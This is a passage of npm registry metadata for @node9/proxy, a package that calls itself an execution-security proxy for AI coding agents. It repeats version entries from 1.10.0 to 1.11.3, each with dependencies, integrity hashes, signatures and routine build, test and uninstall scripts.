uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.10.0_1776245178736_0.5131364264043174","host":"s3://npm-registry-packages-npm-production"}},"1.10.1":{"name":"@node9/proxy","version":"1.10.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.10.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b25bc27cc2ac8a5bb759621281ea2d86a34b894b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.10.1.tgz","fileCount":20,"integrity":"sha512-Oml6M5tclVbSMmA6gpKy0MxQ8oO0XvCVW7n3uvR5+xX+JoERRPUJ2+yHcWtM1aJUp0i78X4n1v9ys46R9JfvcQ==","signatures":[{"sig":"MEUCIQDUhIjPVykBHTJavZXv1GDZcq7PVnymE6pVWvgtM8PSMAIge6UV45wJJC2r0gEBBsi0sQzMnFeJgYavrJW8PBfQA6g=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.10.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1228893},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e8daecd489f8fdb61d8b1fdc4f417161f8782507","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.10.1_1776334491002_0.7542973139624987","host":"s3://npm-registry-packages-npm-production"}},"1.10.2":{"name":"@node9/proxy","version":"1.10.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.10.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"4810fce20c9a902f4852abc6cd4e81ef7b77a73f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.10.2.tgz","fileCount":20,"integrity":"sha512-ooMW8qVJsPs59Vw+j0UjpmAMEeZADg6kg4mm/xfX0+NmskFZj1YnbgaworElJPyCEe+dknGU025NmPgN5nassw==","signatures":[{"sig":"MEUCICZlcuLZQwNA51BaCGdUIhZNM0dY9kPakR75QftSdQ2WAiEA9k8Nt9IhYukUPeg3+PTtuYpa7yedVvhIBcdw46dXvvw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.10.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1232593},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"557502f0ea10617f1eb760e74108b818402d76c7","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.10.2_1776358050190_0.7481229144093828","host":"s3://npm-registry-packages-npm-production"}},"1.10.3":{"name":"@node9/proxy","version":"1.10.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.10.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"eda09e6c350ff83643552339801bef64d2aa0e54","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.10.3.tgz","fileCount":20,"integrity":"sha512-QNPNMTtHQdWluvWmoxhpWnFs8o0UftfXQXB0aJYHBZDdtVZv6Q+Y/uL3vezCY0owVECsmpxWLiP50fJi4P1q3Q==","signatures":[{"sig":"MEYCIQCAYRVw/u8g8vIAx6BZkeIm9skf0kJJhPVxSt0yHKhgogIhALxie8UsOl5gX0Fa3jrXMRatsxl2ayRgsuqcGTX6n9oR","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.10.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1379183},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3d2f71299b32e34d7354e600e0912e8f387e176a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.10.3_1776420085383_0.19271431942478157","host":"s3://npm-registry-packages-npm-production"}},"1.11.0":{"name":"@node9/proxy","version":"1.11.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"84e55b049f8e62f08d177b814c34027c051caaed","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.0.tgz","fileCount":20,"integrity":"sha512-MHwbpYP9p7VlRTg631H1icrekhUkYSwPO5CUrOlwKSltt1nojrHAc/DC7JYCbkY+jw5g3gi5UHZQIZ+wst58QA==","signatures":[{"sig":"MEYCIQCn6SUsZzO/BO3F1mr4NZeM9DT4xFxdWCJU9PmU/htI8QIhAOaziMBq3nifE8rjrpNR2EvmWriBKgTyP7WJZPma6DG5","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1419220},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b836b7af804adf6b2d45e07c0c25d33e6967a5e0","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.0_1776422591984_0.999410374349569","host":"s3://npm-registry-packages-npm-production"}},"1.11.1":{"name":"@node9/proxy","version":"1.11.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e0a19d37958a103fbb2cc47046b0cd1ae42b1ca3","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.1.tgz","fileCount":20,"integrity":"sha512-vJrpkkujIIoUwj5wR724f093KFUu2lpR6dF8fwg6H8+5XIIbyR5rgRybfQVd1LyYSTF4hf5INa4OzAJ6YvLQ+A==","signatures":[{"sig":"MEUCIQDO2zrTC1L3ZBkzWqRfnH2YwBGjLd42j6d1A8tOy3zIXQIgW3BG9T+aG6Vm+/NVooOMUYuKJT6V92NfLtZNemJNfz8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1462796},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5ceac9848840022c12549d95240ed6e5349eb5cc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.1_1776527997955_0.3252575314304291","host":"s3://npm-registry-packages-npm-production"}},"1.11.2":{"name":"@node9/proxy","version":"1.11.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d3c97b8b2350d247b14b88b47fb93447f0189e38","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.2.tgz","fileCount":20,"integrity":"sha512-OFEmiUtJcHNRDy6QnJFRnrBFkOxC6McMsyYph+RtHwfmqCVwA3e4bLe0Ac3Z+X+864yrpP0xT3Mg1OIkK3XXlQ==","signatures":[{"sig":"MEYCIQDamQE1UY8bqv0oRK2CMYStN+B5+c+nfTeqnwdQLIOIrQIhAKP5YUEPWKzzAwRAPAGC2ptDdbpf1kOqxzH7vPiIblvv","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1462796},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"55368ee245df826bbde2dd691ed0eb753bb9c535","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.2_1776531098638_0.02206438504762187","host":"s3://npm-registry-packages-npm-production"}},"1.11.3":{"name":"@node9/proxy","version":"1.11.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"654e6a821451fb79c365bbdecd6c9f2d99a5311d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.3.tgz